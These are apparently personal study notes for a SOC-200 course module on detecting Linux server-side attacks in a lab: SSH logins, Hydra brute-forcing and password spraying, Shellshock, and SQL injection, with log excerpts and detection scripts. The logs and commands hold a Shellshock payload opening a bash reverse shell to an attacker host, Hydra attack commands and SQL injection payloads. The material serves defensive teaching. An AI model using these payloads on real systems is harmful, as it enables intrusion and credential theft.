Tree's Notes
  • Overview
  • Tools & Cheatsheets
  • Hacking Methodology
  • Hands-on Practice
  • Linux
    • Linux Basics
  • Windows
    • Windows Basics
  • MacOS
    • MacOS Basics
  • Web
    • Web Basics
  • Mobile
    • iOS
    • Android
  • OS Agnostic
    • Template
  • Courses
    • Hack The Box
      • Bug Bounty Hunter
        • Module 1: Web Requests
        • Module 2: Introduction to Web Applications
        • Module 3: Using Web Proxies
        • Module 4: Information Gathering - Web Edition
        • Module 5: Attacking Web Applications with Ffuf
        • Module 6: JavaScript Deobfuscation
        • Module 7: Cross-Site Scripting (XSS)
        • Module 8: SQL Injection Fundamentals
        • Module 9: SQLMap Essentials
        • Module 10: Command Injections
        • Module 11: File Upload Attacks
        • Module 12: Server-Side Attacks
        • Module 13: Login Brute Forcing
        • Module 14: Broken Authentication
        • Module 15: Web Attacks
        • Module 16: File Inclusion
        • Module 17: Session Security
        • Module 18: Web Service & API Attacks
        • Module 19: Hacking Wordpress
        • Module 20: Bug Bounty Hunting Process
    • OffSec
      • 🦊EXP-301
        • Module 1: Windows User Mode Exploit Development: General Course Information
        • Module 2: WinDbg and x86 Architecture
        • Module 3: Exploiting Stack Overflows
        • Module 4: Exploiting SEH Overflows
        • Module 5: Introduction to IDA Pro
        • Module 6: Overcoming Space Restrictions: Egghunters
        • Module 7: Creating Custom Shellcode
        • Module 8: Reverse Engineering for Bugs
        • Module 9: Stack Overflows and DEP Bypass
        • Module 10: Stack Overflows and ASLR Bypass
        • Module 11: Format String Specifier Attack Part I
        • Module 12: Format String Specifier Attack Part II
        • Module 13: Trying Harder: The Labs
      • 🐙EXP-312
        • Module 1: macOS Control Bypasses: General Course Information
        • Module 2: Virtual Machine Setup Guide
        • Module 3: Introduction to macOS
        • Module 4: macOS Binary Analysis Tools
        • Module 5: The Art of Crafting Shellcodes
        • Module 6: The Art of Crafting Shellcodes (Apple Silicon Edition)
        • Module 7: Dylib Injection
        • Module 8: The Mach Microkernel
        • Module 9: XPC Attacks
        • Module 10: Function Hooking on macOS
        • Module 11: The macOS Sandbox
        • Module 12: Bypassing Transparency, Consent, and Control (Privacy)
        • Module 13: GateKeeper Internals
        • Module 14: Bypassing GateKeeper
        • Module 15: Symlink and Hardlink Attacks
        • Module 16: Injecting Code into Electron Applications
        • Module 17: Getting Kernel Code Execution
        • Module 18: Mach IPC Exploitation
        • Module 19: macOS Penetration Testing
        • Module 20: Chaining Exploits on macOS Ventura
        • Module 21: Mount(ain) of Bugs (archived)
      • ⚓IR-200
        • Module 1: Incident Response Overview
        • Module 2: Fundamentals of Incident Response
        • Module 3: Phases of Incident Response
        • Module 4: Incident Response Communication Plans
        • Module 5: Common Attack Techniques
        • Module 6: Incident Detection and Identification
        • Module 7: Initial Impact Assessment
        • Module 8: Digital Forensics for Incident Responders
        • Module 9: Incident Response Case Management
        • Module 10: Active Incident Containment
        • Module 11: Incident Eradication and Recovery
        • Module 12: Post-Mortem Reporting
        • Module 13: Incident Response Challenge Labs
      • 🐉PEN-103
      • 🐲PEN-200
        • Module 1: Copyright
        • Module 2: Penetration Testing with Kali Linux: General Course Information
        • Module 3: Introduction to Cybersecurity
        • Module 4: Effective Learning Strategies
        • Module 5: Report Writing for Penetration Testers
        • Module 6: Information Gathering
        • Module 7: Vulnerability Scanning
        • Module 8: Introduction to Web Application Attacks
        • Module 9: Common Web Application Attacks
        • Module 10: SQL Injection Attacks
        • Module 11: Client-side Attacks
        • Module 12: Locating Public Exploits
        • Module 13: Fixing Exploits
        • Module 14: Antivirus Evasion
        • Module 15: Password Attacks
        • Module 16: Windows Privilege Escalation
        • Module 17: Linux Privilege Escalation
        • Module 18: Port Redirection and SSH Tunneling
        • Module 19: Tunneling Through Deep Packet Inspection
        • Module 20: The Metasploit Framework
        • Module 21: Active Directory Introduction and Enumeration
        • Module 22: Attacking Active Directory Authentication
        • Module 23: Lateral Movement in Active Directory
        • Module 24: Enumerating AWS Cloud Infrastructure
        • Module 25: Attacking AWS Cloud Infrastructure
        • Module 26: Assembling the Pieces
        • Module 27: Trying Harder: The Challenge Labs
      • 🛜PEN-210
        • Module 1: IEEE 802.11
        • Module 2: Wireless Networks
        • Module 3: Wi-Fi Encryption
        • Module 4: Linux Wireless Tools, Drivers, and Stacks
        • Module 5: Wireshark Essentials
        • Module 6: Frames and Network Interaction
        • Module 7: Aircrack-ng Essentials
        • Module 8: Cracking Authentication Hashes
        • Module 9: Attacking WPS Networks
        • Module 10: Rogue Access Points
        • Module 11: Attacking Captive Portals
        • Module 12: Attacking WPA Enterprise
        • Module 13: bettercap Essentials
        • Module 14: Determining Chipsets and Drivers
        • Module 15: Kismet Essentials
        • Module 16: Manual Network Connections
      • 🔗PEN-300
        • Module 1: Evasion Techniques and Breaching Defenses: General Course Information
        • Module 2: Operating System and Programming Theory
        • Module 3: Client Side Code Execution With Office
        • Module 4: Phishing with Microsoft Office
        • Module 5: Client Side Code Execution With Windows Script Host
        • Module 6: Reflective PowerShell
        • Module 7: Process Injection and Migration
        • Module 8: Introduction to Antivirus Evasion
        • Module 9: Advanced Antivirus Evasion
        • Module 10: Application Whitelisting
        • Module 11: Bypassing Network Filters
        • Module 12: Linux Post-Exploitation
        • Module 13: Kiosk Breakouts
        • Module 14: Windows Credentials
        • Module 15: Windows Lateral Movement
        • Module 16: Linux Lateral Movement
        • Module 17: Microsoft SQL Attacks
        • Module 18: Active Directory Exploitation
        • Module 19: Attacking Active Directory
        • Module 20: Combining the Pieces
        • Module 21: Trying Harder: The Labs
      • ⚛️SEC-100
      • 🛡️SOC-200
        • Module 1: Introduction to SOC-200
        • Module 2: Attacker Methodology Introduction
        • Module 3: Windows Endpoint Introduction
        • Module 4: Windows Server Side Attacks
        • Module 5: Windows Client-Side Attacks
        • Module 6: Windows Privilege Escalation
        • Module 7: Windows Persistence
        • Module 8: Linux Endpoint Introduction
        • Module 9: Linux Server Side Attacks
        • Module 10: Linux Privilege Escalation
        • Module 11: Network Detections
        • Module 12: Antivirus Alerts and Evasion
        • Module 13: Active Directory Enumeration
        • Module 14: Network Evasion and Tunneling
        • Module 15: Windows Lateral Movement
        • Module 16: Active Directory Persistence
        • Module 17: SIEM Part One: Intro to ELK
        • Module 18: SIEM Part Two: Combining the Logs
        • Module 19: Trying Harder: The Labs
      • TH-200
        • Module 1: Threat Hunting Concepts and Practices
        • Module 2: Threat Actor Landscape Overview
        • Module 3: Communication and Reporting for Threat Hunters
        • Module 4: Hunting With Network Data
        • Module 5: Hunting on Endpoints
        • Module 6: Theat Hunting Without IoCs
        • Module 7: Threat Hunting Challenge Labs
      • 🦉WEB-200
        • Module 1: Introduction to WEB-200
        • Module 2: Tools (archived)
        • Module 3: Web Application Enumeration Methodology
        • Module 4: Introduction to Burp Suite
        • Module 5: Cross-Site Scripting Introduction and Discovery
        • Module 6: Cross-Site Scripting Exploitation and Case Study
        • Module 7: Cross-Origin Attacks
        • Module 8: Introduction to SQL
        • Module 9: SQL Injection
        • Module 10: Directory Traversal Attacks
        • Module 11: XML External Entities
        • Module 12: Server-side Template Injection - Discovery and Exploitation
        • Module 13: Command Injection
        • Module 14: Server-side Request Forgery
        • Module 15: Insecure Direct Object Referencing
        • Module 16: Assembling the Pieces: Web Application Assessment Breakdown
      • 🕷️WEB-300
        • Module 1: Introduction
        • Module 2: Tools & Methodologies
        • Module 3: ManageEngine Applications Manager AMUserResourcesSyncServlet SSQL Injection RCE
        • Module 4: DotNetNuke Cookie Deserialization RCE
        • Module 5: ERPNext Authentication Bypass and Remote Code Execution
        • Module 6: openCRX Authentication Bypass and Remote Code Execution
        • Module 7: openITCOCKPIT XSS and OS Command Injection - Blackbox
        • Module 8: Concord Authentication Bypass to RCE
        • Module 9: Server-Side Request Forgery
        • Module 10: Guacamole Lite Prototype Pollution
        • Module 11: Dolibarr Eval Filter Bypass RCE
        • Module 12: RudderStack SQLi and Coraza WAF Bypass
        • Module 13: Conclusion
        • Module 14: ATutor Authentication Bypass and RCE (archived)
        • Module 15: ATutor LMS Type Juggling Vulnerability (archived)
        • Module 16: Atmail Mail Server Appliance: from XSS to RCE (archived)
        • Module 17: Bassmaster NodeJS Arbitrary JavaScript Injection Vulnerability (archived)
    • SANS
      • FOR572
Powered by GitBook
On this page
  • Credential Abuse
  • Suspicious Logins
  • Extra Mile I
  • Password Brute Forcing
  • Extra Mile II
  • Web Application Attacks
  • Command Injection
  • Extra Mile II
  • SQL Injection
  • Extra Mile IV
Edit on GitHub
  1. Courses
  2. OffSec
  3. SOC-200

Module 9: Linux Server Side Attacks

Credential Abuse

Suspicious Logins

Generating an SSH key-pair

kali@attacker01:~$ ssh-keygen -t Ed25519
Generating public/private Ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519):
/home/kali/.ssh/id_ed25519 already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_ed25519
Your public-key has been saved in /home/kali/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:KoewUv5gG6ti0d2zouJ8a9s3C3VjKDIy0tiYqYqd4+A kali@kali
The key's randomart image is:
+--[ED25519 256]--+
|                 |
|                 |
|                 |
| B      .        |
|*o*o...oS+       |
|o+o+ooo+o .      |
|+ B o.o o        |
|*B.X.+.+         |
|BEX==.o.o        |
+----[SHA256]-----+

Copying the SSH public-key to the server

kali@attacker:~$ ssh-copy-id offsec@192.168.51.12
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/kali/.ssh/id_ed25519.pub"
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
offsec@192.168.51.12's password:

Number of key(s) added: 1
...

Testing public-key SSH authentication

kali@attacker01:~$ ssh offsec@192.168.51.12 -v
...
debug1: Next authentication method: publickey
debug1: Trying private key: /home/kali/.ssh/id_rsa
debug1: Trying private key: /home/kali/.ssh/id_dsa
debug1: Trying private key: /home/kali/.ssh/id_ecdsa
debug1: Trying private key: /home/kali/.ssh/id_ecdsa_sk
debug1: Offering public-key: /home/kali/.ssh/id_ed25519 ED25519 SHA256:KoewUv5gG6ti0d2zouJ8a9s3C3VjKDIy0tiYqYqd4+A
debug1: Server accepts key: /home/kali/.ssh/id_ed25519 ED25519 SHA256:KoewUv5gG6ti0d2zouJ8a9s3C3VjKDIy0tiYqYqd4+A
debug1: Authentication succeeded (publickey)
Authenticated to 192.168.51.12 ([192.168.51.12]:22).
...
offsec@linux01:~$

Verifying SSH server public-key configuration

offsec@linux01:~$ sudo cat /etc/ssh/sshd_config | grep Pubkey
...
#PubkeyAuthentication yes

Removing SSH server public-key configuration

offsec@linux01:~$ sudo nano  /etc/ssh/sshd_config
...
PubkeyAuthentication no
...
PasswordAuthentication yes

Restart the service after making changes.

Enabling public-key only SSH authentication

offsec@linux01:~$ sudo nano /etc/ssh/sshd_config
...
PubkeyAuthentication yes
...
PasswordAuthentication no

Inspecting successful public-key authentication

offsec@linux01:~$ sudo tail -f /var/log/auth.log
...
Jul 15 05:48:53 linux01 sshd[1730]: Accepted publickey for offsec from 192.168.51.50 port 55420 ssh2: ED25519 SHA256:DHICqUa5x4uIc9XjbE2fuJRSwS27jpHUAvvClJdmY8c
Jul 15 05:48:53 linux01 sshd[1730]: pam_unix(sshd:session): session opened for user offsec by (uid=0)

Increasing SSH server debug verbosity

offsec@linux01:~$ sudo nano /etc/ssh/sshd_config
...
#LogLevel INFO
LogLevel DEBUG1

Re-inspecting public-key authentication

offsec@linux01:~$ sudo tail -f /var/log/auth.log
...
Jul 15 07:24:05 linux01 sshd[1879]: Failed publickey for offsec from 192.168.51.50 port 55448 ssh2: ED25519 SHA256:Sx5O7zj6FqY4L4QGGsLgCQT678QjZDw42n4S1CJQc6Q
Jul 15 07:24:05 linux01 sshd[1879]: Connection closed by authenticating user offsec 192.168.51.50 port 55448 [preauth]
...

Extra Mile I

An 'invalid user' message is returned when a non-existing user tries to authenticate through SSH. Expand the ssh_suspicious_logons.py script to allow extracting this specific failed password event by expanding the 'SCOPE' portion of the script.

Password Brute Forcing

Password brute forcing is attempting several passwords against a target. This could be multiple targets.

Password spraying is attempting the same password across several targets. This could be multiple passwords.

Clearing the authentication logs

offsec@linux01:~$ sudo truncate /var/log/auth.log --size 0

Performing a traditional brute-force password attack with Hydra

kali@attacker01:~/SOC-200/Linux_Server_Side_Attacks$ hydra -l alice -P ./dict_bf.txt  192.168.51.12 -t 1 ssh
...

Inspecting authentication logs after a brute-force attack

offsec@linux01:~$ sudo cat /var/log/auth.log | grep "sshd\["
Jul 26 07:34:04 linux01 sshd[57354]: Received disconnect from 192.168.51.50 port 55760:11: Bye Bye [preauth]
Jul 26 07:34:04 linux01 sshd[57354]: Disconnected from authenticating user alice 192.168.51.50 port 55760 [preauth]
Jul 26 07:34:04 linux01 sshd[57356]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.51.50  user=alice

Jul 26 07:34:07 linux01 sshd[57356]: Failed password for alice from 192.168.51.50 port 55762 ssh2
Jul 26 07:34:20 linux01 sshd[57356]: message repeated 5 times: [ Failed password for alice from 192.168.51.50 port 55762 ssh2]
Jul 26 07:34:21 linux01 sshd[57356]: error: maximum authentication attempts exceeded for alice from 192.168.51.50 port 55762 ssh2 [preauth]
Jul 26 07:34:21 linux01 sshd[57356]: Disconnecting authenticating user alice 192.168.51.50 port 55762: Too many authentication failures [preauth]
Jul 26 07:34:21 linux01 sshd[57356]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.51.50  user=alice
Jul 26 07:34:21 linux01 sshd[57356]: PAM service(sshd) ignoring max retries; 6 > 3
...

In this case there is no account lockout threshold; however, it could be configured.

A warning log about a threshold being reached

...
Disconnecting authenticating user alice 192.168.51.50 port 55762: Too many authentication failures [preauth]
...

Launching a successful brute-force attack

kali@attacker01:~/SOC-200/Linux_Server_Side_Attacks$ hydra -l alice -P ./dict_bf_success.txt  192.168.51.12 -t 1 ssh
...
[DATA] max 1 task per 1 server, overall 1 task, 6 login tries (l:1/p:6), ~6 tries per task
[DATA] attacking ssh://192.168.51.12:22/
[22][ssh] host: 192.168.51.12   login: alice   password: lab
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-07-26 13:53:00

Inspecting a successful brute-force attack

offsec@linux01:~$ sudo cat /var/log/auth.log | grep "sshd\["
Jul 26 14:42:36 linux01 sshd[58556]: Received disconnect from 192.168.51.50 port 55914:11: Bye Bye [preauth]
Jul 26 14:42:36 linux01 sshd[58556]: Disconnected from authenticating user alice 192.168.51.50 port 55914 [preauth]
Jul 26 14:42:36 linux01 sshd[58558]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.51.50  user=alice

Jul 26 14:42:38 linux01 sshd[58558]: Failed password for alice from 192.168.51.50 port 55916 ssh2
Jul 26 14:42:41 linux01 sshd[58558]: Failed password for alice from 192.168.51.50 port 55916 ssh2
Jul 26 14:42:49 linux01 sshd[58558]: message repeated 3 times: [ Failed password for alice from 192.168.51.50 port 55916 ssh2]
Jul 26 14:42:50 linux01 sshd[58558]: Accepted password for alice from 192.168.51.50 port 55916 ssh2
Jul 26 14:42:50 linux01 sshd[58558]: pam_unix(sshd:session): session opened for user alice by (uid=0)
...

Password spraying is often more effective than expected as password reuse among multiple accounts is not that uncommon.

Launching a successful password-spraying attack

kali@attacker01:~/SOC-200/Linux_Server_Side_Attacks$ hydra -L users.txt -P ./dict_bf_success.txt  192.168.51.12 -t 1 ssh -u
...
[DATA] attacking ssh://192.168.51.12:22/
[22][ssh] host: 192.168.51.12   login: bob   password: lab
[22][ssh] host: 192.168.51.12   login: alice   password: lab
[22][ssh] host: 192.168.51.12   login: wendy   password: lab
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-07-27 04:32:31

Inspecting password-spraying log

offsec@linux01:~/SOC-200/Linux_Server_Side_Attacks$ sudo cat /var/log/auth.log | grep "sshd\["
Jul 27 04:40:59 linux01 sshd[60703]: Received disconnect from 192.168.51.50 port 55960:11: Bye Bye [preauth]
Jul 27 04:40:59 linux01 sshd[60703]: Disconnected from authenticating user bob 192.168.51.50 port 55960 [preauth]

Jul 27 04:40:59 linux01 sshd[60705]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.51.50  user=bob
...
Jul 27 04:41:42 linux01 sshd[60736]: Failed password for wendy from 192.168.51.50 port 55990 ssh2
Jul 27 04:41:44 linux01 sshd[60736]: Received disconnect from 192.168.51.50 port 55990:11: Bye Bye [preauth]
Jul 27 04:41:44 linux01 sshd[60736]: Disconnected from authenticating user wendy 192.168.51.50 port 55990 [preauth]
Jul 27 04:41:44 linux01 sshd[60738]: Accepted password for bob from 192.168.51.50 port 55992 ssh2
Jul 27 04:41:44 linux01 sshd[60738]: pam_unix(sshd:session): session opened for user bob by (uid=0)
Jul 27 04:41:44 linux01 sshd[60740]: Accepted password for alice from 192.168.51.50 port 55994 ssh2
Jul 27 04:41:44 linux01 sshd[60740]: pam_unix(sshd:session): session opened for user alice by (uid=0)
Jul 27 04:41:44 linux01 sshd[60750]: Accepted password for wendy from 192.168.51.50 port 55996 ssh2
Jul 27 04:41:44 linux01 sshd[60750]: pam_unix(sshd:session): session opened for user wendy by (uid=0)
Jul 27 04:41:47 linux01 sshd[61044]: Received disconnect from 192.168.51.50 port 55992:11: Bye Bye
Jul 27 04:41:47 linux01 sshd[61044]: Disconnected from user bob 192.168.51.50 port 55992
Jul 27 04:41:47 linux01 sshd[60738]: pam_unix(sshd:session): session closed for user bob
Jul 27 04:41:47 linux01 sshd[61104]: Received disconnect from 192.168.51.50 port 55994:11: Bye Bye
Jul 27 04:41:47 linux01 sshd[61104]: Disconnected from user alice 192.168.51.50 port 55994
Jul 27 04:41:47 linux01 sshd[60740]: pam_unix(sshd:session): session closed for user alice
Jul 27 04:41:47 linux01 sshd[60750]: pam_unix(sshd:session): session closed for user wendy

Filtering password-spraying logs through script

offsec@linux01:~/SOC-200/Linux_Server_Side_Attacks$ python3 ssh_suspicious_logons.py password all off

Jul 27 04:41:01 Failed password  bob  192.168.51.50
Jul 27 04:41:04 Failed password  alice  192.168.51.50
Jul 27 04:41:07 Failed password  wendy  192.168.51.50
Jul 27 04:41:11 Failed password  bob  192.168.51.50
Jul 27 04:41:14 Failed password  alice  192.168.51.50
Jul 27 04:41:16 Failed password  wendy  192.168.51.50
Jul 27 04:41:20 Failed password  bob  192.168.51.50
Jul 27 04:41:23 Failed password  alice  192.168.51.50
Jul 27 04:41:26 Failed password  wendy  192.168.51.50
Jul 27 04:41:29 Failed password  bob  192.168.51.50
Jul 27 04:41:32 Failed password  alice  192.168.51.50
Jul 27 04:41:34 Failed password  wendy  192.168.51.50
Jul 27 04:41:37 Failed password  bob  192.168.51.50
Jul 27 04:41:39 Failed password  alice  192.168.51.50
Jul 27 04:41:42 Failed password  wendy  192.168.51.50
Jul 27 04:41:44 Accepted password  bob  192.168.51.50
Jul 27 04:41:44 Accepted password  alice  192.168.51.50
Jul 27 04:41:44 Accepted password  wendy  192.168.51.50

Extra Mile II

Expand the ssh_suspicious_logons.py script to give a warning if password failure attempts are equal to or greater than three within 60 seconds. Hint: Use timestamps as a reference.

Web Application Attacks

Command Injection

Launching the Shellshock attack

kali@attacker01:~/SOC-200/Linux_Server_Side_Attacks$ ./shellshock.py payload=reverse rhost=192.168.51.12 lhost=192.168.51.50 lport=4444
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-sys/defaultwebpage.cgi
[*] 404 on : /cgi-sys/defaultwebpage.cgi
[-] Trying exploit on : /cgi-mod/index.cgi
[*] 404 on : /cgi-mod/index.cgi
[-] Trying exploit on : /cgi-bin/test.cgi
[*] 404 on : /cgi-bin/test.cgi
[-] Trying exploit on : /cgi-bin-sdb/printenv
[*] 404 on : /cgi-bin-sdb/printenv
[-] Trying exploit on : /cgi-bin/192.168.51
[!] Successfully exploited
[!] Incoming connection from 192.168.51.12
192.168.51.12>

Inspecting the logs after a successful Shellshock attack

offsec@linux01:~$ cat /var/log/apache2/access.log
192.168.51.50 - - [02/Aug/2021:03:59:03 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 436 "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.51.50/4444 0>&1" "-"
192.168.51.50 - - [02/Aug/2021:03:59:04 -0400] "GET /cgi-mod/index.cgi HTTP/1.1" 404 436 "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.51.50/4444 0>&1" "-"
192.168.51.50 - - [02/Aug/2021:03:59:05 -0400] "GET /cgi-bin/test.cgi HTTP/1.1" 404 436 "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.51.50/4444 0>&1" "-"
192.168.51.50 - - [02/Aug/2021:03:59:06 -0400] "GET /cgi-bin-sdb/printenv HTTP/1.1" 404 436 "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.51.50/4444 0>&1" "-"
192.168.51.50 - - [02/Aug/2021:03:57:11 -0400] "GET /cgi-bin/index.cgi HTTP/1.1" 200 151 "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.51.50/4444 0>&1" "-"

Investigating system processes to spot anomalies

offsec@linux01:~$ sudo ps aux | grep "/bin/bash"
www-data   26016  0.0  0.1   3612  2760 ?        S    05:12   0:00 /bin/bash
...

Adding Shellshock regex to our log parser

shellshock_regex = '\(\)\s*\t*\{.*;\s*\}\s*;'

Verifying if the Shellshock attack succeeded or not

for match in re.finditer(web_log_regex, line, re.S):
                        log_line = (re.match(web_log_regex, line)).groups()
                        print("checking Shellshock")
                        for match in re.finditer(shellshock_regex, log_line[5], re.S):
                            if log_line[3] != '200':
                                print("[!] - Shellshock attempt DETECTED!")
                            elif log_line[3] == '200':
                                print("[!] - Shellshock attack SUCCEEDED")
                                print(log_line)

Vulnerability scanners and penetration testers might trigger exploit-specific alerts similar to the one we just analyzed. However, in a real world investigation, the next step should be to verify that the affected component is actually vulnerable to the exploit trails left in the logs. In our sample case, we should further verify whether or not the Bash version is vulnerable to Shellshock.

Detecting the Shellshock attempts with our script

offsec@linux01:~/SOC-200/Linux_Server_Side_Attacks$ python3 shellshock_log_detector.py
[!] - Shellshock attempt DETECTED in /var/log/apache2/access.log
[!] - Shellshock attempt DETECTED in /var/log/apache2/access.log
[!] - Shellshock attempt DETECTED in /var/log/apache2/access.log
[!] - Shellshock attempt DETECTED in /var/log/apache2/access.log
[!] - Shellshock attack  SUCCEEDED in /var/log/apache2/access.log
('192.168.51.50', '02/Aug/2021:06:20:18 -0400', 'GET /cgi-bin/index.cgi HTTP/1.1', '200', '151', '() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.51.50/4444 0>&1 &', '-')

Previously shown snippets had the payload in the Referer header, though it could also be in the Cookie header if the web server processes it and triggers the vulnerability. This is important because default Apache logging behavior doesn't save any information about the Cookie HTTP header.

Example logs with Shellshock payload in Cookie

offsec@linux01:~/SOC-200/Linux_Server_Side_Attacks$ sudo cat /var/log/apache2/access.log
192.168.51.50 - - [02/Aug/2021:07:07:31 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 436 "-" "-"
192.168.51.50 - - [02/Aug/2021:07:07:32 -0400] "GET /cgi-mod/index.cgi HTTP/1.1" 404 436 "-" "-"
192.168.51.50 - - [02/Aug/2021:07:07:33 -0400] "GET /cgi-bin/test.cgi HTTP/1.1" 404 436 "-" "-"
192.168.51.50 - - [02/Aug/2021:07:07:34 -0400] "GET /cgi-bin-sdb/printenv HTTP/1.1" 404 436 "-" "-"
192.168.51.50 - - [02/Aug/2021:07:07:35 -0400] "GET /cgi-bin/index.cgi HTTP/1.1" 200 151 "-" "-"

Adding Cookie HTTP header logging to the Apache config file

offsec@linux01:~$ cat /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
...
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

 	LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" \"%{Cookie}i\" with_cookies
	CustomLog /var/log/apache2/with_cookies.log with_cookies
	
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

Reviewing logs with Cookie included

offsec@linux01:~$ cat /var/log/apache2/with_cookies.log
192.168.51.50 - - [02/Aug/2021:07:57:02 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 275 "-" "-" "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.51.50/4444 0>&1 &"
192.168.51.50 - - [02/Aug/2021:07:57:03 -0400] "GET /cgi-mod/index.cgi HTTP/1.1" 404 275 "-" "-" "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.51.50/4444 0>&1 &"
192.168.51.50 - - [02/Aug/2021:07:57:04 -0400] "GET /cgi-bin/test.cgi HTTP/1.1" 404 275 "-" "-" "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.51.50/4444 0>&1 &"
192.168.51.50 - - [02/Aug/2021:07:57:05 -0400] "GET /cgi-bin-sdb/printenv HTTP/1.1" 404 275 "-" "-" "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.51.50/4444 0>&1 &"
192.168.51.50 - - [02/Aug/2021:07:57:06 -0400] "GET /cgi-bin/index.cgi HTTP/1.1" 200 18 "-" "-" "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.51.50/4444 0>&1 &"

Extra Mile II

Write a unified version of shellshock_log_detector.py and shellshock_log_detector_cookies.py in a single Python script so that it can be reused for both the original shellshock attack, as well as the cookie-based stealthy modification.

SQL Injection

Normal online clothing shop color selection

https://megacorpone.local/tshirts?color=purple

The above query may look like this on the SQL database end

SELECT * FROM tshirts WHERE color = $color;

UNION based SQL injection

https://megacorpone.local/tshirts?color=purple'+UNION+SELECT+username+passwords+FROM+administrators--

The above query may now look like this on the SQL database end

SELECT * FROM tshirt WHERE color = 'purple' UNION SELECT username, passwords FROM administrators;

Inspecting Apache access log after sqlmap ran against the server

offsec@linux01:~$ cat /var/log/apache2/access.log
192.168.50.50 - - [06/Aug/2021:09:34:45 -0400] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 77 "-" "sqlmap/1.5.7#stable (http://sqlmap.org)"
192.168.50.50 - - [06/Aug/2021:09:34:45 -0400] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 77 "-" "sqlmap/1.5.7#stable (http://sqlmap.org)"
192.168.50.50 - - [06/Aug/2021:09:34:46 -0400] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 77 "-" "sqlmap/1.5.7#stable (http://sqlmap.org)"

Nothing useful here really, other than seeing the sqlmap user-agent. In the lab provided, ModSecurity is preconfigured. ModSecurity offers detection and prevention capabilities against several web application attack vectors and provides increased logging to help with investigations.

Filtering out POST requests from teh ModSec log file

offsec@linux01:~$ sudo cat /var/log/apache2/modsec_audit.log | awk '/-A--/,/-F--/'
...
--d6eb6105-B--
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 127
Cache-Control: no-cache
User-Agent: sqlmap/1.5.7#stable (http://sqlmap.org)
Host: 192.168.50.12:8080
Accept: */*
Accept-Encoding: gzip,deflate
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Connection: close

--d6eb6105-C--
action=spAjaxResults&pollid=2%27%29%20AND%201199%3D%28SELECT%201199%20FROM%20PG_SLEEP%285%29%29%20AND%20%28%27RdCO%27%3D%27RdCO
--d6eb6105-F--
HTTP/1.1 403 Forbidden
Content-Length: 280
Connection: close
Content-Type: text/html; charset=iso-8859-1
...

  • -A-- (audit log header)

  • -F-- (response header)

ModSecurity explicitly warning about the SQL injection attack

offsec@linux01:~$ sudo cat /var/log/apache2/modsec_audit.log | grep 'detected SQLi'
...
Message: Warning. detected SQLi using libinjection with fingerprint '1)&(1' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "67"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: 1)&(1 found within ARGS:pollid: 2) AND 4728=8659 AND (4778=4778"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]

Extra Mile IV

Similar to what we did earlier in the Topic, write a Python script that will parse the ModSec generated log file and find all of the SQL injection warnings related to the vulnerable pollid argument.

PreviousModule 8: Linux Endpoint IntroductionNextModule 10: Linux Privilege Escalation

Last updated 5 months ago

🛡️